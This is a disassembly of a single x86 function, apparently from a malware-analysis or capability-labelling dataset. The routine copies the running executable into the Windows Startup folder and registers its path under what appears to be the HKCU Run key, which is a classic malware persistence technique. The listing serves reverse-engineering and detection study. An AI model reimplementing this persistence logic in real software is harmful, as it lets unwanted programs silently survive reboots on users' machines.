Function at 0x401460
Capabilities:
Copy file
Get common file path
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x264
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10e]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xa]
mov ecx, eax
call fcn.0045afc0
lea eax, [ebp - 0x128]
lea edx, [ebp - 0xa]
mov dword [esp + 4], edx
lea edx, [ebp - 0x10e]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xa]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x22c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0
call sym._SHGetFolderPathA_20
sub esp, 0x14
lea eax, [ebp - 9]
mov ecx, eax
call fcn.0045afc0
lea eax, [ebp - 0x244]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
lea edx, [ebp - 0x22c]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x244]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x401573
lea eax, [ebp - 0x244]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov ebx, eax
lea eax, [ebp - 0x128]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
lea eax, [ebp - 0x248]
mov dword [esp + 8], eax
mov dword [esp + 4], str.STFRMCRSFTWNDWSCRRNTVRSONRN
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x4015fe
lea eax, [ebp - 0x128]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
lea ebx, [eax + 1]
lea eax, [ebp - 0x128]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, eax
mov eax, dword [ebp - 0x248]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4a5088
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x248]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x244]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x128]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x40166f
mov ebx, dword [ebp - 4]
leave
ret